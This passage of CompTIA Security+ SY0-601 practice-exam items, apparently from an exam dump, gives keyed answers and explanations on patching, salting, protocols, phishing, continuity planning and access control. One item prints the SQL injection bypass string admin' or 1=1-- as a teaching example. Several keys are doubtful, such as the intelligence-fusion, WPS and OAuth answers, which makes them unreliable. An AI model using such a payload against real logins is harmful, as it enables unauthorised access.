- D. Perform a factory reset on the phone before installing the company's applications. This option may address the company's concern about data loss, but it may not address the employees' concern about personal data loss. A factory reset will erase all data on the device, including personal data, which may not be acceptable to employees.

According to CompTIA Security+ SY0-601 Exam Objectives 2.4 Given a scenario, implement secure systems design:

"MDM software is a type of remote asset-management software that runs from a central server¹. It is used by businesses to optimize the functionality and security of their mobile devices, including smartphones and tablets²."

"FDE stands for full disk encryption, which is a method of encrypting all data on a device's storage³." References:

<https://www.comptia.org/certifications/security#examdetails>

<https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>

<https://www.makeuseof.com/what-is-mobile-device-management-mdm-software/>

NEW QUESTION 231

- (Exam Topic 1)

A security analyst is reviewing the vulnerability scan report for a web server following an incident. The vulnerability that was used to exploit the server is present in historical vulnerability scan reports, and a patch is available for the vulnerability. Which of the following is the MOST likely cause?

- A. Security patches were uninstalled due to user impact.

- B. An adversary altered the vulnerability scan reports
- C. A zero-day vulnerability was used to exploit the web server
- D. The scan reported a false negative for the vulnerability

Answer: A

Explanation:

A security patch is a software update that fixes a vulnerability or bug that could be exploited by attackers. Security patches are essential for maintaining the security and functionality of systems and applications.

If the vulnerability that was used to exploit the server is present in historical vulnerability scan reports, and a patch is available for the vulnerability, it means that the patch was either not applied or was uninstalled at some point. A possible reason for uninstalling a security patch could be user impact, such as performance degradation, compatibility issues, or functionality loss.

The other options are not correct because:

➤ B. An adversary altered the vulnerability scan reports. This could be a possibility, but it is less likely than option A. An adversary would need to have access to the vulnerability scan reports and be able to modify them without being detected. Moreover, altering the reports would not prevent the patch from being applied or uninstalled.

➤ C. A zero-day vulnerability was used to exploit the web server. This is not correct because a zero-day vulnerability is a vulnerability that is unknown to the public or the vendor, and therefore has no patch available. The question states that a patch is available for the vulnerability that was used to exploit the server.

➤ D. The scan reported a false negative for the vulnerability. This is not correct because a false negative is when a scan fails to detect a vulnerability that is present. The question states that the vulnerability is present in historical vulnerability scan reports, which means that it was detected by previous scans.

According to CompTIA Security+ SY0-601 Exam Objectives 1.4 Given a scenario, analyze potential indicators to determine the type of attack:

“A security patch is a software update that fixes a vulnerability or bug that could be exploited by attackers.” References:

<https://www.comptia.org/certifications/security#examdetails>

<https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives> <https://www.getastra.com/blog/security-audit/vulnerability-scanning-report/>

NEW QUESTION 233

- (Exam Topic 1)

A security administrator is working on a solution to protect passwords stored in a database against rainbow table attacks Which of the following should the administrator consider?

- A. Hashing
- B. Salting
- C. Lightweight cryptography
- D. Steganography

Answer: B

Explanation:

Salting is a technique that adds random data to a password before hashing it. This makes the hash output more unique and unpredictable, and prevents attackers from using precomputed tables (such as rainbow tables) to crack the password hash. Salting also reduces the risk of collisions, which occur when different passwords produce the same hash.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>

<https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/>

NEW QUESTION 237

- (Exam Topic 1)

Which of the following environments would MOST likely be used to assess the execution of component parts of a system at both the hardware and software levels and to measure performance characteristics?

- A. Test
- B. Staging
- C. Development
- D. Production

Answer: A

Explanation:

The test environment is used to assess the execution of component parts of a system at both the hardware and software levels and to measure performance characteristics. References: CompTIA Security+ Study Guide 601, Chapter 2

NEW QUESTION 242

- (Exam Topic 1)

While reviewing pcap data, a network security analyst is able to locate plaintext usernames and passwords being sent from workstations to network switches. Which of the following is the security analyst MOST likely observing?

- A. SNMP traps
- B. A Telnet session
- C. An SSH connection
- D. SFTP traffic

Answer: B

Explanation:

The security analyst is likely observing a Telnet session, as Telnet transmits data in plain text format, including usernames and passwords. Reference: CompTIA Security+ Certification Exam Objectives, Exam SY0-601, 1.2 Given a scenario, analyze indicators of compromise and determine the type of malware.

NEW QUESTION 247

- (Exam Topic 1)

The compliance team requires an annual recertification of privileged and non-privileged user access. However, multiple users who left the company six months ago still have access. Which of the following would have prevented this compliance violation?

- A. Account audits
- B. AUP
- C. Password reuse
- D. SSO

Answer: A

Explanation:

Account audits are periodic reviews of user accounts to ensure that they are being used appropriately and that access is being granted and revoked in accordance with the organization's policies and procedures. If the compliance team had been conducting regular account audits, they would have identified the users who left the company six months ago and ensured that their access was revoked in a timely manner. This would have prevented the compliance violation caused by these users still having access to the company's systems.

To prevent this compliance violation, the company should implement account audits. An account audit is a regular review of all user accounts to ensure that they are being used properly and that they are in compliance with the company's security policies. By conducting regular account audits, the company can identify inactive or unused accounts and remove access for those users. This will help to prevent compliance violations and ensure that only authorized users have access to the company's systems and data.

NEW QUESTION 248

- (Exam Topic 1)

A security architect is implementing a new email architecture for a company. Due to security concerns, the Chief Information Security Officer would like the new architecture to support email encryption, as well as provide for digital signatures. Which of the following should the architect implement?

- A. TOP
- B. IMAP
- C. HTTPS
- D. S/MIME

Answer: D

Explanation:

S/MIME (Secure/Multipurpose Internet Mail Extensions) is a protocol that enables secure email messages to be sent and received. It provides email encryption, as well as digital signatures, which can be used to verify the authenticity of the sender. S/MIME can be used with a variety of email protocols, including POP and IMAP.

References:

- <https://www.comptia.org/content/guides/what-is-smime>
- CompTIA Security+ Study Guide, Sixth Edition (SY0-601), page 139

NEW QUESTION 251

- (Exam Topic 1)

The spread of misinformation surrounding the outbreak of a novel virus on election day led to eligible voters choosing not to take the risk of going the polls. This is an example of:

- A. prepending.
- B. an influence campaign.
- C. a watering-hole attack.
- D. intimidation.
- E. information elicitation.

Answer: B

Explanation:

This scenario describes an influence campaign, where false information is spread to influence or manipulate people's beliefs or actions. In this case, the misinformation led eligible voters to avoid polling places, which influenced the outcome of the election.

NEW QUESTION 252

- (Exam Topic 1)

A company acquired several other small companies. The company that acquired the others is transitioning network services to the cloud. The company wants to make sure that performance and security remain intact. Which of the following BEST meets both requirements?

- A. High availability
- B. Application security
- C. Segmentation
- D. Integration and auditing

Answer: A

Explanation:

High availability refers to the ability of a system or service to remain operational and available to users with minimal downtime. By ensuring high availability, the company can maintain good performance and ensure that users have access to the network services they need. High availability can also improve security, as it helps to prevent disruptions that could potentially be caused by security incidents or other issues.

NEW QUESTION 257

- (Exam Topic 1)

The Chief information Security Officer has directed the security and networking team to retire the use of shared passwords on routers and switches. Which of the following choices BEST meets the requirements?

- A. SAML
- B. TACACS+
- C. Password vaults
- D. OAuth

Answer: B

Explanation:

TACACS+ is a protocol used for remote authentication, authorization, and accounting (AAA) that can be used to replace shared passwords on routers and switches. It provides a more secure method of authentication that allows for centralized management of access control policies. References: CompTIA Security+ Study Guide, Exam SY0-601, 4th Edition, Chapter 6

NEW QUESTION 262

- (Exam Topic 1)

A security analyst wants to verify that a client-server (non-web) application is sending encrypted traffic. Which of the following should the analyst use?

- A. openssl
- B. hping
- C. netcat
- D. tcpdump

Answer: A

Explanation:

To verify that a client-server (non-web) application is sending encrypted traffic, a security analyst can use OpenSSL. OpenSSL is a software library that provides cryptographic functions, including encryption and decryption, in support of various security protocols, including SSL/TLS. It can be used to check whether a client-server application is using encryption to protect traffic. References:

➤ [CompTIA Security+ Certification Exam Objectives - Exam SY0-601](#)

NEW QUESTION 264

- (Exam Topic 1)

A security analyst was deploying a new website and found a connection attempting to authenticate on the site's portal. While Investigating The incident, the analyst identified the following Input in the username field:

```
admin' or 1=1--
```

Which of the following BEST explains this type of attack?

- A. DLL injection to hijack administrator services
- B. SQLi on the field to bypass authentication
- C. Execution of a stored XSS on the website
- D. Code to execute a race condition on the server

Answer: B

Explanation:

The input "admin' or 1=1--" in the username field is an example of SQL injection (SQLi) attack. In this case, the attacker is attempting to bypass authentication by injecting SQL code into the username field that will cause the authentication check to always return true. References: CompTIA Security+ SY0-601 Exam Objectives: 3.1 Given a scenario, use appropriate software tools to assess the security posture of an organization.

NEW QUESTION 269

- (Exam Topic 1)

Which of the following BEST describes data streams that are compiled through artificial intelligence that provides insight on current cyberintrusions, phishing, and other malicious cyberactivity?

- A. Intelligence fusion
- B. Review reports
- C. Log reviews
- D. Threat feeds

Answer: A

Explanation:

Intelligence fusion is a process that involves aggregating and analyzing data from multiple sources, including artificial intelligence, to provide insight on current cyberintrusions, phishing, and other malicious cyberactivity.

References: CompTIA Security+ Study Guide, Exam SY0-601, 4th Edition, Glossary, p. 767.

NEW QUESTION 270

- (Exam Topic 1)

An employee, receives an email stating he won the lottery. The email includes a link that requests a name, mobile phone number, address, and date of birth be provided to confirm employee's identity before sending him the prize. Which of the following BEST describes this type of email?

- A. Spear phishing
- B. Whaling
- C. Phishing
- D. Vishing

Answer: C

Explanation:

Phishing is a type of social engineering attack that uses fraudulent emails or other forms of communication to trick users into revealing sensitive information, such as passwords, credit card numbers, or personal details. Phishing emails often impersonate legitimate entities, such as banks, online services, or lottery organizations, and entice users to click on malicious links or attachments that lead to fake websites or malware downloads. Phishing emails usually target a large number of users indiscriminately, hoping that some of them will fall for the scam.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://www.kaspersky.com/resource-center/definitions/what-is-phishing>

NEW QUESTION 274

- (Exam Topic 1)

A desktop support technician recently installed a new document-scanning software program on a computer. However, when the end user tried to launch the program, it did not respond. Which of the following is MOST likely the cause?

- A. A new firewall rule is needed to access the application.
- B. The system was quarantined for missing software updates.
- C. The software was not added to the application whitelist.
- D. The system was isolated from the network due to infected software

Answer: C

Explanation:

The most likely cause of the document-scanning software program not responding when launched by the end user is that the software was not added to the application whitelist. An application whitelist is a list of approved software applications that are allowed to run on a system. If the software is not on the whitelist, it may be blocked from running by the system's security policies. Adding the software to the whitelist should resolve the issue and allow the program to run.

References: <https://www.techopedia.com/definition/31541/application-whitelisting>

NEW QUESTION 277

- (Exam Topic 1)

A security assessment found that several embedded systems are running unsecure protocols. These Systems were purchased two years ago and the company that developed them is no longer in business Which of the following constraints BEST describes the reason the findings cannot be remediated?

- A. inability to authenticate
- B. Implied trust
- C. Lack of computing power
- D. Unavailable patch

Answer: D

Explanation:

If the systems are running unsecure protocols and the company that developed them is no longer in business, it is likely that there are no patches available to remediate the issue. References:

➤ [CompTIA Security+ Study Guide, Sixth Edition, pages 35-36](#)

NEW QUESTION 279

- (Exam Topic 1)

Which of the following must be in place before implementing a BCP?

- A. SLA
- B. AUP
- C. NDA
- D. BIA

Answer: D

Explanation:

A Business Impact Analysis (BIA) is a critical component of a Business Continuity Plan (BCP). It identifies and prioritizes critical business functions and determines the impact of their disruption. References: [CompTIA Security+ Study Guide 601, Chapter 10](#)

NEW QUESTION 283

- (Exam Topic 1)

A company would like to set up a secure way to transfer data between users via their mobile phones The company's top priority is utilizing technology that requires users to be in as close proximity as possible to each other. Which of the following connection methods would BEST fulfill this need?

- A. Cellular
- B. NFC
- C. Wi-Fi
- D. Bluetooth

Answer: B

Explanation:

NFC allows two devices to communicate with each other when they are in close proximity to each other, typically within 5 centimetres. This makes it the most secure connection method for the company's data transfer requirements.

NEW QUESTION 287

- (Exam Topic 1)

During an investigation, the incident response team discovers that multiple administrator accounts were suspected of being compromised. The host audit logs indicate a repeated brute-force attack on a single administrator account followed by suspicious logins from unfamiliar geographic locations. Which of the following data sources would be BEST to use to assess the accounts impacted by this attack?

- A. User behavior analytics
- B. Dump files
- C. Bandwidth monitors
- D. Protocol analyzer output

Answer: A

Explanation:

User behavior analytics (UBA) would be the best data source to assess the accounts impacted by the attack, as it can identify abnormal activity, such as repeated brute-force attacks and logins from unfamiliar geographic locations, and provide insights into the behavior of the impacted accounts. References: CompTIA Security+ Study Guide, Exam SY0-601, 4th Edition, Chapter 7: Incident Response, pp. 338-341

NEW QUESTION 292

- (Exam Topic 1)

Which of the following disaster recovery tests is the LEAST time consuming for the disaster recovery team?

- A. Tabletop
- B. Parallel
- C. Full interruption
- D. Simulation

Answer: A

Explanation:

A tabletop exercise is a type of disaster recovery test that simulates a disaster scenario in a discussion-based format, without actually disrupting operations or requiring physical testing of recovery procedures. It is the least time-consuming type of test for the disaster recovery team.

NEW QUESTION 295

- (Exam Topic 1)

A developer is building a new portal to deliver single-pane-of-glass management capabilities to customers with multiple firewalls. To improve the user experience, the developer wants to implement an authentication and authorization standard that uses security tokens that contain assertions to pass user information between nodes. Which of the following roles should the developer configure to meet these requirements? (Select TWO).

- A. Identity processor
- B. Service requestor
- C. Identity provider
- D. Service provider
- E. Tokenized resource
- F. Notarized referral

Answer: CD

Explanation:

An identity provider (IdP) is responsible for authenticating users and generating security tokens containing user information. A service provider (SP) is responsible for accepting security tokens and granting access to resources based on the user's identity.

NEW QUESTION 300

- (Exam Topic 1)

Which of the following BEST describes the team that acts as a referee during a penetration-testing exercise?

- A. White team
- B. Purple team
- C. Green team
- D. Blue team
- E. Red team

Answer: A

Explanation:

During a penetration testing exercise, the white team is responsible for acting as a referee and providing oversight and support to ensure that the testing is conducted safely and effectively. They may also be responsible for determining the rules and guidelines of the exercise, monitoring the progress of the teams, and providing feedback and insights on the strengths and weaknesses of the organization's security measures.

NEW QUESTION 304

- (Exam Topic 1)

Which of the following environments can be stood up in a short period of time, utilizes either dummy data or actual data, and is used to demonstrate and model system capabilities and functionality for a fixed, agreed-upon duration of time?

- A. PoC
- B. Production
- C. Test
- D. Development

Answer: A

Explanation:

A proof of concept (PoC) environment can be stood up quickly and is used to demonstrate and model system capabilities and functionality for a fixed, agreed-upon duration of time. This environment can utilize either dummy data or actual data. References: CompTIA Security+ Certification Guide, Exam SY0-501

NEW QUESTION 307

- (Exam Topic 1)

A security engineer is installing a WAF to protect the company's website from malicious web requests over SSL. Which of the following is needed to meet the objective?

- A. A reverse proxy
- B. A decryption certificate
- C. A split-tunnel VPN
- D. Load-balanced servers

Answer: B

Explanation:

A Web Application Firewall (WAF) is a security solution that protects web applications from various types of attacks such as SQL injection, cross-site scripting (XSS), and others. It is typically deployed in front of web servers to inspect incoming traffic and filter out malicious requests.

To protect the company's website from malicious web requests over SSL, a decryption certificate is needed to decrypt the SSL traffic before it reaches the WAF. This allows the WAF to inspect the traffic and filter out malicious requests.

NEW QUESTION 310

- (Exam Topic 1)

Which of the following environment utilizes dummy data and is MOST to be installed locally on a system that allows to be assessed directly and modified easily with each build?

- A. Production
- B. Test
- C. Staging
- D. Development

Answer: D

Explanation:

The environment that utilizes dummy data and is most likely to be installed locally on a system that allows it to be assessed directly and modified easily with each build is the development environment. The development environment is used for developing and testing software and applications. It is typically installed on a local system, rather than on a remote server, to allow for easy access and modification. Dummy data can be used in the development environment to simulate real-world scenarios and test the software's functionality. References: <https://www.techopedia.com/definition/27561/development-environment>

NEW QUESTION 315

- (Exam Topic 1)

Which of the following would be BEST for a technician to review to determine the total risk an organization can bear when assessing a "cloud-first" adoption strategy?

- A. Risk matrix
- B. Risk tolerance
- C. Risk register
- D. Risk appetite

Answer: B

Explanation:

To determine the total risk an organization can bear, a technician should review the organization's risk tolerance, which is the amount of risk the organization is willing to accept. This information will help determine the organization's "cloud-first" adoption strategy. References: CompTIA Security+ Certification Exam Objectives (SY0-601)

NEW QUESTION 319

- (Exam Topic 1)

Which of the following identifies the point in time when an organization will recover data in the event of an outage?

- A. SLA
- B. RPO
- C. MTBF
- D. ARO

Answer: B

Explanation:

Detailed explanation

Recovery Point Objective (RPO) is the maximum duration of time that an organization can tolerate data loss in the event of an outage. It identifies the point in time when data recovery must begin, and any data loss beyond that point is considered unacceptable.

Reference: CompTIA Security+ Certification Guide, Exam SY0-601 by Mike Chapple and David Seidl, Chapter-7: Incident Response and Recovery, Objective 7.2: Compare and contrast business continuity and disaster recovery concepts, pp. 349-350.

NEW QUESTION 322

- (Exam Topic 1)

An organization wants to integrate its incident response processes into a workflow with automated decision points and actions based on predefined playbooks. Which of the following should the organization implement?

- A. SIEM
- B. SOAR
- C. EDR
- D. CASB

Answer: B

Explanation:

Security Orchestration, Automation, and Response (SOAR) should be implemented to integrate incident response processes into a workflow with automated decision points and actions based on predefined playbooks. References: CompTIA Security+ Study Guide, Exam SY0-601, Chapter 9

NEW QUESTION 324

- (Exam Topic 1)

An organization would like to remediate the risk associated with its cloud service provider not meeting its advertised 99.999% availability metrics. Which of the following should the organization consult for the exact requirements for the cloud provider?

- A. SLA
- B. BPA
- C. NDA
- D. MOU

Answer: A

Explanation:

The Service Level Agreement (SLA) is a contract between the cloud service provider and the organization that stipulates the exact requirements for the cloud provider. It outlines the level of service that the provider must deliver, including the minimum uptime percentage, support response times, and the remedies and penalties for failing to meet the agreed-upon service levels.

NEW QUESTION 327

- (Exam Topic 1)

A network analyst is setting up a wireless access point for a home office in a remote, rural location. The requirement is that users need to connect to the access point securely but do not want to have to remember passwords. Which of the following should the network analyst enable to meet the requirement?

- A. MAC address filtering
- B. 802.1X
- C. Captive portal
- D. WPS

Answer: D

Explanation:

The network analyst should enable Wi-Fi Protected Setup (WPS) to allow users to connect to the wireless access point securely without having to remember passwords. WPS allows users to connect to a wireless network by pressing a button or entering a PIN instead of entering a password.

Reference: CompTIA Security+ Study Guide, Exam SY0-601, Chapter 4: Identity and Access Management

NEW QUESTION 331

- (Exam Topic 1)

A Chief Information Officer is concerned about employees using company-issued laptops to steal data when accessing network shares. Which of the following should the company implement?

- A. DLP
- B. CASB
- C. HIDS
- D. EDR
- E. UEFI

Answer: A

Explanation:

The company should implement Data Loss Prevention (DLP) to prevent employees from stealing data when accessing network shares. References:

➤ CompTIA Security+ Study Guide Exam SY0-601, Chapter 8

NEW QUESTION 333

- (Exam Topic 1)

A cybersecurity administrator needs to allow mobile BYOD devices to access network resources. As the devices are not enrolled to the domain and do not have policies applied to them, which of the following are best practices for authentication and infrastructure security? (Select TWO).

- A. Create a new network for the mobile devices and block the communication to the internal network and servers
- B. Use a captive portal for user authentication.
- C. Authenticate users using OAuth for more resiliency
- D. Implement SSO and allow communication to the internal network
- E. Use the existing network and allow communication to the internal network and servers.
- F. Use a new and updated RADIUS server to maintain the best solution

Answer: BC

Explanation:

When allowing mobile BYOD devices to access network resources, using a captive portal for user authentication and authenticating users using OAuth are both best practices for authentication and infrastructure security. A captive portal requires users to authenticate before accessing the network and can be used to enforce policies and restrictions. OAuth allows users to authenticate using third-party providers, reducing the risk of password reuse and credential theft.

References: CompTIA Security+ Study Guide, pages 217-218, 225-226

NEW QUESTION 338

- (Exam Topic 1)

After a hardware incident, an unplanned emergency maintenance activity was conducted to rectify the issue. Multiple alerts were generated on the SIEM during this period of time. Which of the following BEST explains what happened?

- A. The unexpected traffic correlated against multiple rules, generating multiple alerts.
- B. Multiple alerts were generated due to an attack occurring at the same time.
- C. An error in the correlation rules triggered multiple alerts.
- D. The SIEM was unable to correlate the rules, triggering the alerts.

Answer: A

Explanation:

Multiple alerts were generated on the SIEM during the emergency maintenance activity due to unexpected traffic correlated against multiple rules. The SIEM generates alerts when it detects an event that matches a rule in its rulebase. If the event matches multiple rules, the SIEM will generate multiple alerts.

Reference: CompTIA Security+ Study Guide, Exam SY0-601, Chapter 3: Architecture and Design

NEW QUESTION 343

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